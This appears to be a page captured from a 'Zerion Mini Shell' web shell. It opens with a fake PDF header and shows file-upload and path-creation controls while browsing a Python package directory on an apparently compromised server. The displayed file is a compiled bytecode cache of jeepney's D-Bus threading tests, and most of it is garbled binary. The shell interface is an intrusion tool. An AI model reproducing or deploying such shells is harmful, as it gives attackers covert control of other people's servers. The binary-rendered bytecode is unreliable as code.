%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/jeepney/io/tests/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/jeepney/io/tests/__pycache__/test_threading.cpython-312.pyc

�

+�c�
����ddlZddlmZmZmZddlmZmZddlm	Z	m
Z
ddlmZejjed��Zej d	��Zd
�Zeddd
��Zd�Zd�Zd�Zd�Zd�Zy)�N)�new_method_call�MessageType�DBusAddress)�message_bus�	MatchRule)�open_dbus_router�Proxy�)�have_session_buszTests require DBus session bus)�reasonc#�VK�td��5}|��ddd�y#1swYyxYw�w)N�SESSION)�bus)r)�conns �A/usr/lib/python3/dist-packages/jeepney/io/tests/test_threading.py�routerrs)����	�i�	(��D��
����s�
)��	)�&�)c�>�|jjd�sJ�y)N�:)�unique_name�
startswith)rs r�test_connectrs�����(�(��-�-�-�zorg.freedesktop.DBusz/org/freedesktop/DBuszorg.freedesktop.DBus.Peer)�bus_name�object_path�	interfacec��ttd�}|j|d��}|jjt
jk(sJ�|jdk(sJ�y)N�Ping���timeout�)r�bus_peer�send_and_get_reply�header�message_typer�
method_return�body)r�	ping_call�replys   r�test_send_and_get_replyr*sS����&�1�I��%�%�i��%�;�E��<�<�$�$��(A�(A�A�A�A��:�:����rc��tt|d��}d}|j|�}|dvsJ�|j|d��\}|dusJ�y)Nrrz+io.gitlab.takluyver.jeepney.examples.Server>�r
���)�_timeoutT)r	r�RequestName�NameHasOwner)r�proxy�name�res�	has_owners     r�
test_proxyr7!sX���+�v�q�1�E�8�D�
�
�
�D�
!�C��,�����#�#�D�1�#�5�J�I�����rc���tt|�}d}tdtjtjdtj
��}|j
d|�|j|�|j|�5}|j|�\}|dk(sJ�|jd��}|j|d	|jfk(sJ�	ddd�y#1swYyxYw)
Nz7io.gitlab.takluyver.jeepney.tests.threading_test_filter�signal�NameOwnerChanged)�type�senderr�member�pathrr
g@r�)
r	rrrrr�add_arg_condition�AddMatch�filterr1�getr'r)rrr4�
match_rule�queuer5�
signal_msgs       r�test_filterrG*s���
��V�
$�C�D�D��
��#�#��'�'�!�
�
$�
$��J�� � ��D�)��L�L���	���z�	"�A�e����t�$����a�x��x��Y�Y�s�Y�+�
����4��V�-?�-?�"@�@�@�@�A�A�A�s
�AC�Cc�h�t|d�}tdd��5}|j|d��}ddd�jjt
jusJ�|jdjd�5}|j�d	k(sJ�	ddd�y#1swY�oxYw#1swYyxYw)
N�GetFDrT�r�
enable_fdsrrrzw+�readme)
rrr#r$r%rr&r'�to_file�read)�respond_with_fd�
getfd_callrr)�fs     r�test_recv_fdrRBs��� ��'�:�J�	�i�D�	9�A�V��)�)�*�a�)�@��A��<�<�$�$��(A�(A�A�A�A�	���A��	�	�t�	$�$���v�v�x�8�#�#�#�$�$�	A�A��$�$�s�B�<B(�B%�(B1c��|\}}t|dd|f�}tdd��5}|j|d��}ddd�jjt
jusJ�|jd|k(sJ�y#1swY�FxYw)	N�ReadFD�hrTrJrrr)rrr#r$r%rr&r')�temp_file_and_contents�read_from_fd�	temp_file�data�readfd_callrr)s       r�test_send_fdr[Ls���,�O�I�t�!�,��#�	�|�L�K�	�i�D�	9�B�V��)�)�+�q�)�A��B��<�<�$�$��(A�(A�A�A�A��:�:�a�=�D� � � �	B�B�s�A;�;B)�pytest�jeepneyrrr�jeepney.bus_messagesrr�jeepney.io.threadingrr	�utilsr�mark�skipif�
pytestmark�fixturerrr"r*r7rGrRr[r!rr�<module>res���
�=�=�7�8�#�
�[�[�
�
���!A� ��
�������
.��
#�'�)�����A�0$�!r

Zerion Mini Shell 1.0